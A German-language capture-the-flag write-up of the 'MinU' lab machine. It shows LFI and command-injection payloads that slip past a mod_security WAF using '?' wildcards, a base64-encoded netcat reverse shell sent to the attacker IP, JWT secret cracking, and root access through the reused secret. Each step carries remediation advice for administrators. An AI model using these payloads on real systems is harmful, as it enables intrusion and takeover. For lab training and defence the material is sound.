Reconnaissance
Die initiale Phase des Penetrationstests dient der Identifizierung des Zielsystems im Netzwerk und der Ermittlung offener Ports und Dienste.
┌──(root㉿cycat)-[~]
└─# arp-scan -l
192.168.2.107 08:00:27:6a:86:41 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` sendet ARP-Pakete ins lokale Netzwerk, um aktive Geräte zu finden und ihre IP- und MAC-Adressen zuzuordnen.
Bewertung: Ein aktives Gerät wurde erfolgreich unter der IP-Adresse `192.168.2.107` identifiziert. Die MAC-Adresse (`08:00:27:6a:86:41`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine virtuelle Maschine von Oracle VirtualBox hin. Dies ist unser Ziel.
Empfehlung (Pentester): Notieren Sie die Ziel-IP `192.168.2.107`. Definieren Sie optional einen Hostnamen in der lokalen `/etc/hosts`-Datei zur Vereinfachung der weiteren Schritte.
Empfehlung (Admin):** Standard-Netzwerkscans sind üblich. Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.
Ein umfassender Nmap-Scan wird durchgeführt. Zuerst die gefilterte Ausgabe:
┌──(root㉿cycat)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.107 -p- | grep open
80/tcp open http Apache httpd 2.4.27
Analyse: Die gefilterte Ausgabe des Nmap-Scans zeigt nur den offenen Port 80 an.
Bewertung: Dies deutet auf eine sehr kleine Angriffsfläche hin, die sich ausschließlich auf den Webserver konzentriert. Es ist jedoch ungewöhnlich, dass kein SSH-Port offen ist.
Empfehlung (Pentester): Überprüfen Sie die vollständige Nmap-Ausgabe sorgfältig auf eventuell übersehene oder gefilterte Ports. Konzentrieren Sie die Untersuchung auf Port 80.
Empfehlung (Admin):** Eine minimale Angriffsfläche ist grundsätzlich gut. Stellen Sie sicher, dass tatsächlich kein Fernzugriff (wie SSH) benötigt wird oder dieser korrekt konfiguriert und ggf. durch eine Firewall eingeschränkt ist.
Nun die vollständige Nmap-Ausgabe:
┌──(root㉿cycat)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.107 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-17 23:06 CEST
Nmap scan report for MinU (192.168.2.107)
Host is up (0.00014s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.27 ((Ubuntu))
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.27 (Ubuntu)
MAC Address: 08:00:27:6A:86:41 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.14 ms MinU (192.168.2.107)
Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit SYN-Scan (`-sS`), Skripten (`-sC`), Versionserkennung (`-sV`), schnellem Timing (`-T5`), aggressiven Optionen (`-A`) und ohne Ping (`-Pn`).
Bewertung: Die vollständige Ausgabe bestätigt, dass tatsächlich **nur Port 80 (HTTP)** offen ist. Der Apache-Server (Version 2.4.27, Ubuntu) gibt standardmäßig einen `403 Forbidden`-Fehler zurück, was darauf hindeutet, dass entweder keine Indexdatei vorhanden ist oder der Zugriff auf das Wurzelverzeichnis konfigurationsbedingt verboten ist. Die Betriebssystemerkennung deutet auf ein Linux-System hin.
Empfehlung (Pentester): Da nur Port 80 offen ist, muss der gesamte Angriff über den Webserver erfolgen. Führen Sie Web-Enumerationstools (Nikto, Gobuster, Wfuzz) aus, um versteckte Dateien, Verzeichnisse oder Schwachstellen zu finden.
Empfehlung (Admin):** Stellen Sie sicher, dass der Webserver korrekt konfiguriert ist (z.B. eine Indexdatei bereitstellt oder Directory Listing bewusst aktiviert/deaktiviert ist). Aktualisieren Sie Apache auf eine aktuelle Version.
Ein Nikto-Scan wird gegen Port 80 durchgeführt.
┌──(root㉿cycat)-[~]
└─# nikto -h 192.168.2.107
- Nikto v2.5.0
+ Target IP: 192.168.2.107
+ Target Hostname: 192.168.2.107
+ Target Port: 80
+ Start Time: 2023-09-17 23:06:50 (GMT2)
+ Server: Apache/2.4.27 (Ubuntu)
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.27 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 56a9aee1bb80f, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /test.php: This might be interesting.
+ 8102 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2023-09-17 23:07:22 (GMT2) (32 seconds)
+ 1 host(s) tested
Analyse: Nikto scannt den Webserver auf Port 80.
Bewertung: Bestätigt die veraltete Apache-Version und das ETag-Leak. Findet die Standarddatei `/icons/README`. **Sehr wichtig:** Nikto entdeckt eine Datei `/test.php`, die als potenziell interessant markiert wird.
Empfehlung (Pentester): Untersuchen Sie die Datei `/test.php` gründlich. Sie könnte der Schlüssel zum weiteren Vorgehen sein (z.B. LFI, RCE, Informationsleck).
Empfehlung (Admin):** Entfernen Sie Testdateien wie `test.php` und Standarddateien wie `/icons/README` von Produktionsservern. Aktualisieren Sie Apache.
Wir definieren einen Hostnamen in `/etc/hosts`.
┌──(root㉿cycat)-[~]
└─# vi /etc/hosts
192.168.2.107 min1.hmv
Analyse: Ordnet `min1.hmv` der IP `192.168.2.107` zu.
Bewertung: Erleichtert die Ansprache.
Empfehlung (Pentester): Hostnamen verwenden.
Empfehlung (Admin):** Keine Aktion.
Web Enumeration (LFI, Command Injection, WAF Bypass)
Wir konzentrieren uns auf die Untersuchung des Webservers auf Port 80, insbesondere der gefundenen Datei `test.php`.
Ein Gobuster-Scan wird durchgeführt.
┌──(root㉿cycat)-[~]
└─# gobuster dir -u http://min1.hmv -x [...] -w "[...]" -b '403,404' -e --no-error
http://min1.hmv/index.html (Status: 200) [Size: 10918]
http://min1.hmv/test.php (Status: 200) [Size: 1986]
http://min1.hmv/last.html (Status: 200) [Size: 20]
Analyse: Gobuster sucht nach Verzeichnissen und Dateien im Webroot.
Bewertung: Findet `index.html`, bestätigt die von Nikto gefundene `test.php` und entdeckt zusätzlich `last.html`.
Empfehlung (Pentester): Untersuchen Sie den Inhalt und die Funktionalität von `test.php` und `last.html`.
Empfehlung (Admin):** Entfernen Sie unnötige Dateien (`test.php`, `last.html`).
Wir verwenden `wfuzz`, um die `test.php` auf Local File Inclusion (LFI) zu testen, indem wir versuchen, bekannte Logdateien über den `file`-Parameter einzubinden.
┌──(root㉿cycat)-[~]
└─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://min1.hmv/test.php?file=FUZZ" --hc 400,401,402,403,404 --hh 1986
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against OpenSSL. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
* Wfuzz 3.1.0 - The Web Fuzzer *
Target: http://min1.hmv/test.php?file=FUZZ
Total requests: 2894
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001321: 200 52 L 209 W 51127 Ch "/var/log/wtmp"
000001301: 200 41 L 164 W 2092 Ch "/proc/cmdline"
000001322: 200 40 L 161 W 3138 Ch "/var/run/utmp"
000001320: 200 40 L 165 W 294230 Ch "/var/log/lastlog"
=====================================================================
Total time: 0
Processed Requests: 2894
Filtered Requests: 2890
Requests/sec.: 0
Analyse: `wfuzz` testet verschiedene Dateipfade aus `logfiles.txt` als Wert für den `file`-Parameter in `test.php`. Die Option `--hh 1986` blendet Antworten aus, die die gleiche Charakteranzahl wie die Standardseite haben (um nur erfolgreiche Includes zu sehen).
Bewertung: **Erfolg!** Mehrere Payloads (z.B. `/var/log/wtmp`, `/proc/cmdline`) geben einen Statuscode 200 und eine andere Antwortgröße zurück. Dies bestätigt eine **Local File Inclusion (LFI)**-Schwachstelle im `file`-Parameter von `test.php`. Wir können lokale Dateien lesen.
Empfehlung (Pentester): Nutzen Sie die LFI, um wichtige Dateien zu lesen: `/etc/passwd`, `/etc/shadow` (falls lesbar), Konfigurationsdateien (z.B. Apache-Konfiguration, ggf. SSH-Keys), Logdateien, Anwendungscode (`test.php` selbst). Versuchen Sie, ob die LFI zu Remote Code Execution (RCE) eskaliert werden kann (z.B. durch Log Poisoning, `/proc/self/environ`, PHP-Wrapper wie `php://filter` oder `php://input`).
Empfehlung (Admin):** **Dringend:** Beheben Sie die LFI-Schwachstelle in `test.php`, indem Benutzereingaben korrekt validiert und saniert werden. Verwenden Sie keine Benutzereingaben direkt in Dateipfad-Operationen. Entfernen Sie die Datei `test.php`.
Analyse der LFI-Ausgabe für `/proc/cmdline`:
BOOT_IMAGE=/boot/vmlinuz-4.13.0-39-generic root=UUID=04cd2c65-f709-4397-9216-589d1758b786 ro splash quiet
Analyse: Der Inhalt von `/proc/cmdline` wird über die LFI gelesen und zusammen mit dem restlichen Seiteninhalt angezeigt.
Bewertung: Bestätigt die LFI und liefert Kernel-Boot-Parameter (Kernel-Version 4.13.0-39-generic).
Empfehlung (Pentester): Kernel-Version notieren (relevant für Kernel-Exploits, falls nötig). Lesen Sie `/etc/passwd`.
Empfehlung (Admin):** LFI beheben.
Wir verwenden `wfuzz` mit einer Liste von Command Injection Payloads, um zu testen, ob der `file`-Parameter auch für Befehlsausführung anfällig ist.
┌──(root㉿cycat)-[~]
└─# wfuzz -c -w /usr/share/wfuzz/wordlist/Injections/All_attack.txt -u "http://min1.hmv/test.php?file=FUZZ" --hc 400,401,402,403,404 --hh 1986
Target: http://min1.hmv/test.php?file=FUZZ
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000036: 200 41 L 162 W 2040 Ch ";id;"
000000046: 200 41 L 163 W 2033 Ch "|dir"
000000045: 200 41 L 162 W 2040 Ch "|id"
000000051: 200 41 L 163 W 2033 Ch ";dir"
000000104: 403 11 L 32 W 291 Ch "%25%5c..%25%5c..%25%5c..%25%"
=====================================================================
Total time: 0.905093
Processed Requests: 468
Filtered Requests: 464
Requests/sec.: 517.0736
Analyse: `wfuzz` testet verschiedene Injektions-Payloads im `file`-Parameter. Payloads wie `;id;` und `|id` führen zu einer Antwort mit Status 200 und anderer Größe als die Standardseite.
Bewertung: **Erfolg!** Dies bestätigt eine **Command Injection**-Schwachstelle. Der Wert des `file`-Parameters wird wahrscheinlich unsicher an eine Shell-Funktion oder einen Befehl wie `cat` übergeben, wodurch durch Semikolon (`;`) oder Pipe (`|`) eigene Befehle angehängt werden können.
Empfehlung (Pentester): Nutzen Sie die Command Injection, um Befehle als `www-data`-Benutzer auszuführen. Ziel ist es, eine Reverse Shell zu erhalten. Untersuchen Sie den Quellcode von `test.php` (z.B. via LFI: `?file=php://filter/convert.base64-encode/resource=test.php`), um die genaue Ursache zu verstehen.
Empfehlung (Admin):** **Dringend:** Beheben Sie die Command Injection-Schwachstelle, indem Benutzereingaben niemals direkt oder unsanitisiert an Shell-Befehle übergeben werden. Verwenden Sie sichere Funktionen und Validierung.
Testen der Command Injection mit `;id;`:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Aufruf der URL mit dem Payload `;id;`.
Bewertung: Bestätigt die Command Injection. Die Ausgabe des `id`-Befehls (`uid=33(www-data)...`) wird am Anfang der Seite angezeigt.
Empfehlung (Pentester): Command Injection ist bestätigt. Planen Sie den Aufbau einer Reverse Shell.
Empfehlung (Admin):** Schwachstelle beheben.
Test mit `cat --version` (im Log steht nur `--version`, was `cat` als Standard annimmt):
cat (GNU coreutils) 8.26 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later . This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Written by Torbjorn Granlund and Richard M. Stallman. MGJS - Everything a browser knows about you It actually knows more... Read last visitor data
Analyse: Versuch, die Version des ausgeführten Befehls (wahrscheinlich `cat`) zu ermitteln.
Bewertung: Bestätigt, dass der `file`-Parameter wahrscheinlich als Argument an `cat` übergeben wird (`cat $file`). Die Eingabe `--version` wird dann als `cat --version` interpretiert.
Empfehlung (Pentester): Das Wissen, dass `cat` verwendet wird, ist für die Ausnutzung der Command Injection nicht unbedingt nötig, aber es erklärt das Verhalten.
Empfehlung (Admin):** Keine Benutzereingaben direkt an Shell-Befehle weiterleiten.
Prüfung auf eine Web Application Firewall (WAF):
┌──(root㉿cycat)-[~]
└─# wafw00f http://min1.hmv
______
/ \
( Woof! )
\ ____/ )
,, ) (_
.-. - _______ ( |__|
()``; ||_______) .)|__|
/ (' /|\ ( |__|
( / ) / | \ . |__|
\(_)_)) / | \ |__|
~ WAFW00F : v2.2.0 ~
The Web Application Firewall Fingerprinting Toolkit
[*] Checking http://min1.hmv
[+] Generic Detection results:
[*] The site http://min1.hmv seems to be behind a WAF or some sort of security solution
[~] Reason: The response was different when the request wasn't made from a browser. Normal response code is "200", while the response code to a modified request is "403"
[~] Number of requests: 4
Analyse: `wafw00f` versucht, eine WAF durch Senden verschiedener Testanfragen zu erkennen.
Bewertung: `wafw00f` meldet, dass wahrscheinlich eine WAF oder eine ähnliche Sicherheitslösung aktiv ist, da eine nicht-standardmäßige Anfrage (wahrscheinlich mit einem anderen User-Agent oder zusätzlichen Headern) einen 403 Forbidden-Fehler auslöste, während normale Anfragen mit 200 OK beantwortet wurden.
Empfehlung (Pentester): Seien Sie sich der WAF bewusst. Normale LFI- und Command-Injection-Payloads könnten blockiert werden. Es könnten Umgehungstechniken erforderlich sein (z.B. Encoding, Wildcards, alternative Syntax). Der erfolgreiche Test mit `;id;` und der spätere LFI-Bypass mit `?` deuten darauf hin, dass die WAF möglicherweise nicht sehr robust ist oder umgangen werden kann.
Empfehlung (Admin):** Eine WAF ist eine gute zusätzliche Verteidigungsschicht, aber sie darf nicht die einzige sein. Die zugrundeliegenden Schwachstellen (LFI, Command Injection) müssen behoben werden.
Lesen von `/etc/passwd` mittels LFI und WAF-Bypass (Wildcards):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108:/home/syslog:/bin/false
messagebus:x:105:109:/var/run/dbus:/bin/false
_apt:x:106:65534:/nonexistent:/bin/false
mysql:x:107:110:MySQL Server,,,:/nonexistent:/bin/false
uuidd:x:108:113:/run/uuidd:/bin/false
bob:x:1000:1000:bob,,,:/home/bob:/bin/bash
Analyse: Es wird versucht, `/etc/passwd` zu lesen, wobei Shell-Wildcards (`?`) verwendet werden (`/e?c/?asswd`), um potenzielle WAF-Filter zu umgehen, die auf exakte Pfade prüfen.
Bewertung: Erfolgreich! Der Inhalt von `/etc/passwd` wird angezeigt. Dies bestätigt die LFI und zeigt, dass der Wildcard-Bypass funktioniert. Wir sehen den Benutzer `bob` mit einer Bash-Shell.
Empfehlung (Pentester): Versuchen Sie, `/etc/shadow` mit derselben Technik zu lesen. Nutzen Sie die Command Injection mit Wildcard-Bypass für die Reverse Shell.
Empfehlung (Admin):** LFI beheben. WAF-Regeln verbessern, aber nicht als einzige Verteidigungslinie betrachten.
Initial Access (via Command Injection)
Wir nutzen die bestätigte Command Injection-Schwachstelle und den WAF-Bypass, um eine Reverse Shell zu erhalten.
Test einer ausgehenden Verbindung mit `wget` via Command Injection:
# (Accessing http://min1.hmv/test.php?file=|/u?r/b?n/w?et%20192.168.2.199)
┌──(root㉿cycat)-[~]
└─# nc -lvp 80
listening on [any] 80 ...
connect to [192.168.2.199] from min1.hmv [192.168.2.107] 34594
GET / HTTP/1.1
User-Agent: Wget/1.19.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 192.168.2.199
Connection: Keep-Alive
Analyse: Wir starten einen Netcat-Listener auf unserem Angreifer-System auf Port 80. Dann rufen wir die `test.php` mit einem Command Injection Payload auf, der `wget` mit Wildcards (`/u?r/b?n/w?et`) verwendet, um eine Verbindung zu unserer IP herzustellen.
Bewertung: Erfolgreich! Der Listener empfängt eine GET-Anfrage von `wget` vom Zielsystem. Dies bestätigt, dass wir Befehle ausführen und ausgehende Verbindungen herstellen können, wobei der Wildcard-Bypass die WAF umgeht.
Empfehlung (Pentester): Konstruieren Sie einen Reverse-Shell-Payload unter Verwendung von Wildcards und Base64-Kodierung, um die WAF zu umgehen.
Empfehlung (Admin):** Command Injection beheben. Ausgehende Firewall-Regeln implementieren.
Erstellung und Ausführung des Reverse-Shell-Payloads:
# echo "nc -e /bin/sh 192.168.2.199 55" | base64
bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIuMTk5IDU1Cg==
# (Payload: http://min1.hmv/test.php?file=%26/bin/ech?%20bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjIuMTk5IDU1Cg==|/u?r/b?n/b?se64%20-d|/b?n/sh)
Analyse:
1. Der Reverse-Shell-Befehl (`nc -e /bin/sh [Angreifer-IP] [Port]`) wird Base64-kodiert. (Hier wurde Port 55 verwendet).
2. Der finale Payload für die URL wird konstruiert:
* `;` (oder `&` wie im Log - beides initiiert neuen Befehl)
* `/bin/ech?` (echo mit Wildcard) gibt den Base64-String aus.
* `|` leitet die Ausgabe an `/u?r/b?n/b?se64 -d` (base64 -d mit Wildcards) zum Dekodieren weiter.
* `|` leitet den dekodierten Befehl an `/b?n/sh` (sh mit Wildcard) zur Ausführung weiter.
Dies ist eine komplexe Kette, um die WAF zu umgehen.
Bewertung: Der Payload kombiniert Command Injection, Wildcard-Bypass und Base64-Kodierung, um die Reverse Shell auszuführen.
Empfehlung (Pentester): Starten Sie einen Listener auf Port 55 und rufen Sie die konstruierte URL auf.
Empfehlung (Admin):** Command Injection beheben. WAF-Regeln verbessern.
Empfangen der Reverse Shell:
┌──(root㉿cycat)-[~]
└─# nc -lvnp 55
listening on [any] 55 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.107] 46012
www-data@MinU:/var/www/html$
Analyse: Der Netcat-Listener auf Port 55 empfängt die Verbindung vom Zielsystem.
Bewertung: Initial Access erfolgreich! Wir haben eine Shell als `www-data`.
Empfehlung (Pentester): Stabilisieren Sie die Shell. Beginnen Sie die lokale Enumeration.
Empfehlung (Admin):** Siehe vorherige Empfehlungen.
Local Enumeration (JWT Discovery)
Nachdem wir eine Shell als `www-data` erlangt haben, untersuchen wir das System weiter.
Auflisten des Webroot-Verzeichnisses:
www-data@MinU:/var/www/html$ ls -la
total 76
drwxr-xr-x 2 root root 4096 Apr 26 2018 .
drwxr-xr-x 3 root root 4096 Apr 24 2018 ..
-rw-r--r-- 1 www-data www-data 46583 Feb 27 2018 client.min.js
-rw-r--r-- 1 www-data www-data 10918 Apr 24 2018 index.html
-rw-r--r-- 1 www-data www-data 20 Apr 26 2018 last.html
-rw-r--r-- 1 www-data www-data 2035 Apr 26 2018 test.php
Analyse: Zeigt den Inhalt von `/var/www/html`.
Bewertung: Enthält die Dateien, die wir bereits über die Web-Enumeration gefunden haben.
Empfehlung (Pentester): Untersuchen Sie andere Verzeichnisse, insbesondere Home-Verzeichnisse.
Empfehlung (Admin):** Keine Aktion.
Suche nach SUID-Binaries:
www-data@MinU:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
2333 80 -rwsr-xr-x 1 root root 78052 Aug 20 2017 /usr/bin/gpasswd
4131 40 -rwsr-xr-x 1 root root 38816 Aug 20 2017 /usr/bin/newgrp
10138 168 -rwsr-xr-x 1 root root 168084 Jun 12 2017 /usr/bin/sudo
2334 52 -rwsr-xr-x 1 root root 53124 Aug 20 2017 /usr/bin/passwd
2330 80 -rwsr-xr-x 1 root root 78372 Aug 20 2017 /usr/bin/chfn
59831 16 -rwsr-xr-x 1 root root 13960 Mar 9 2017 /usr/bin/traceroute6.iputils
2331 44 -rwsr-xr-x 1 root root 43652 Aug 20 2017 /usr/bin/chsh
6948 8 -rwsr-xr-x 1 root root 5480 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
6694 48 -rwsr-xr-- 1 root messagebus 46480 Jul 28 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
60419 520 -rwsr-xr-x 1 root root 529980 Jan 16 2018 /usr/lib/openssh/ssh-keysign
54338 160 -rwsr-xr-x 1 root root 161520 Jun 22 2017 /bin/ntfs-3g
55300 32 -rwsr-xr-x 1 root root 30112 Aug 11 2016 /bin/fusermount
4042 28 -rwsr-xr-x 1 root root 26012 Nov 5 2017 /bin/umount
4124 40 -rwsr-xr-x 1 root root 38944 Aug 20 2017 /bin/su
7370 64 -rwsr-xr-x 1 root root 63988 Mar 9 2017 /bin/ping
4041 32 -rwsr-xr-x 1 root root 30108 Nov 5 2017 /bin/mount
Analyse: Sucht nach SUID-gesetzten Dateien.
Bewertung: Findet nur Standard-SUID-Binaries für diese Systemversion. Kein offensichtlicher einfacher Exploit hier.
Empfehlung (Pentester): Suchen Sie nach Konfigurationsdateien, Home-Verzeichnissen und anderen Informationsquellen.
Empfehlung (Admin):** Minimieren Sie SUID-Binaries.
Untersuchung des Home-Verzeichnisses von Benutzer `bob`:
www-data@MinU:/var/www/html$ cd /home/bob/
www-data@MinU:/home/bob$ ls -la
total 12
drwxr-xr-x 2 bob bob 4096 Apr 26 2018 .
drwxr-xr-x 3 root root 4096 Apr 24 2018 ..
-rw-r--r-- 1 bob bob 155 Apr 30 2018 ._pw_
www-data@MinU:/home/bob$ cat ._pw_
eyJhbGciiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg
Analyse: Das Home-Verzeichnis von `bob` wird untersucht. Eine versteckte Datei `.pw_` wird gefunden und ihr Inhalt angezeigt.
Bewertung: **Kritischer Fund!** Die Datei enthält einen JSON Web Token (JWT). JWTs werden oft für Authentifizierung und Autorisierung verwendet und bestehen aus Header, Payload und Signatur. Die Signatur wird mit einem geheimen Schlüssel erstellt.
Empfehlung (Pentester):
1. Dekodieren Sie den Header und Payload des JWT (z.B. mit Online-Tools wie jwt.io oder `base64`).
2. **Versuchen Sie, den geheimen Schlüssel (Secret) zu knacken, der zur Signierung des JWT verwendet wurde.** Dies kann offline mit Tools wie `jwt-cracker` oder `hashcat` (Modus 16500) und einer Wortliste erfolgen. Wenn das Secret schwach ist, kann es geknackt werden. Dieses Secret könnte das Passwort für `bob` oder sogar `root` sein!
Empfehlung (Admin):** Speichern Sie niemals sensible Token oder Secrets in Dateien in Home-Verzeichnissen. Verwenden Sie starke, nicht erratbare Secrets für JWT-Signaturen.
Analyse des JWT mit jwt.io (oder ähnlichen Tools):
{"alg":"HS256","typ":"JWT"}
{"sub":"1234567890","name":"John Doe","iat":1516239022}
Analyse: Header und Payload des JWT werden dekodiert.
Bewertung: Der Header zeigt, dass der HS256-Algorithmus (HMAC mit SHA-256) verwendet wurde, der einen geheimen Schlüssel (Secret) benötigt. Der Payload enthält Standard-Demodaten.
Empfehlung (Pentester): Fahren Sie mit dem Versuch fort, das HS256-Secret zu knacken.
Empfehlung (Admin):** Keine Aktion.
Systeminformationen abrufen:
www-data@MinU:/home/bob$ uname -a
Linux MinU 4.13.0-39-generic #44-Ubuntu SMP Thu Apr 5 14:21:12 UTC 2018 i686 athlon i686 GNU/Linux
Analyse: `uname -a` gibt detaillierte Systeminformationen aus.
Bewertung: Zeigt eine ältere Ubuntu-Version mit Kernel 4.13.0 auf einer i686 (32-Bit)-Architektur. Dies könnte relevant sein, falls Kernel-Exploits benötigt werden, aber der Fokus liegt jetzt auf dem JWT-Secret.
Empfehlung (Pentester): Kernel-Version notieren, aber das Knacken des JWT-Secrets priorisieren.
Empfehlung (Admin):** System aktualisieren.
Password Cracking (JWT Secret)
Wir versuchen, den geheimen Schlüssel (Secret), der zur Signierung des gefundenen JWT verwendet wurde, offline zu knacken.
┌──(root㉿cycat)-[~/HackingTools/jwt-cracker-3.0.0]
└─# jwt-cracker -t "eyJhbGciiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg" -a "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 6
Attempts: 100000
Attempts: 200000
Attempts: 300000
Attempts: 400000
Attempts: 500000
...
Secret found : Password = mlnV1
Analyse: Das Tool `jwt-cracker` wird verwendet, um das Secret für den gegebenen JWT (`-t ...`) zu bruteforcen. Es testet alle Kombinationen von alphanumerischen Zeichen (`-a ...`) bis zu einer Länge von 6 (`6`).
Bewertung: **Erfolg!** Das Tool findet das verwendete Secret: `mlnV1`. Dies ist ein relativ kurzes und nicht sehr komplexes Secret.
Empfehlung (Pentester): **Hypothese:** Dieses Secret könnte das Passwort für den Benutzer `bob` oder sogar für `root` sein. Versuchen Sie `su bob` und `su root` mit diesem Passwort in der `www-data`-Shell.
Empfehlung (Admin):** Verwenden Sie lange, zufällige und komplexe Secrets für JWT-Signaturen. Speichern Sie Secrets sicher und nicht in für Benutzer zugänglichen Dateien.
Proof of Concept (Privilege Escalation via su)
Dieser Abschnitt demonstriert, wie das geknackte JWT-Secret als Root-Passwort verwendet wird, um mittels `su` vollständige Root-Rechte zu erlangen.
Kurzbeschreibung: Nach dem Fund eines JWT im Home-Verzeichnis von `bob` konnte dessen Signatur-Secret (`mlnV1`) offline geknackt werden. Wir testen dieses Secret als Passwort für den `root`-Benutzer mittels `su`.
Voraussetzungen: Shell-Zugriff als `www-data`. Kenntnis des geknackten JWT-Secrets (`mlnV1`).
Schritt 1: Ausführung von `su root` mit dem geknackten Secret
www-data@MinU:/tmp$ su root
Password: mlnV1
root@MinU:/tmp#
Analyse: Der Befehl `su root` wird ausgeführt, und das geknackte JWT-Secret `mlnV1` wird als Passwort eingegeben.
Bewertung: **Fantastisch, der Root-Zugriff war erfolgreich!** Der Prompt wechselt zu `root@MinU:/tmp#`. Das als JWT-Secret verwendete Wort war identisch mit dem Root-Passwort. Dies ist eine schwerwiegende Fehlkonfiguration.
Empfehlung (Pentester): Bestätigen Sie die Rechte mit `id`. Sammeln Sie die Root-Flagge.
Empfehlung (Admin):** **Dringend:** Ändern Sie das Root-Passwort und das JWT-Secret zu starken, einzigartigen Werten. Speichern Sie Secrets sicher.
Schritt 2: Bestätigung der Root-Rechte und Flaggen-Sammlung
root@MinU:/tmp# cd ~
root@MinU:~# ls -la
total 28
drwx------ 4 root root 4096 Apr 30 2018 .
drwxr-xr-x 21 root root 4096 Apr 24 2018 ..
-rw------- 1 root root 0 Apr 30 2018 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx------ 2 root root 4096 Apr 26 2018 .cache/
-rw-r--r-- 1 root root 707 Apr 30 2018 flag.txt
drwxr-xr-x 2 root root 4096 Apr 30 2018 .nano/
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
root@MinU:~# cat flag.txt
__ __ _ _ _ __
| \/ (_) | | | | /_ |
| \ / |_ _ __ | | | |_ _| |
| |\/| | | '_ \| | | \ \ / / |
| | | | | | | | |__| |\ V /| |
|_| |_|_|_| |_|\____/ \_/ |_|
# You got r00t!
flag{c89031ac1b40954bb9a0589adcb6d174}
# You probably know this by now but the webserver on this challenge is
# protected by mod_security and the owasp crs 3.0 project on paranoia level 3.
# The webpage is so poorly coded that even this configuration can be bypassed
# by using the bash wildcard ? that allows mod_security to let the command through.
# At least that is how the challenge was designed ;)
# Let me know if you got here using another method!
# contact@8bitsec.io
# @_8bitsec
Analyse: Nach dem Wechsel ins Root-Home-Verzeichnis (`/root`) wird der Inhalt aufgelistet. Die Datei `flag.txt` wird gefunden und ihr Inhalt ausgegeben.
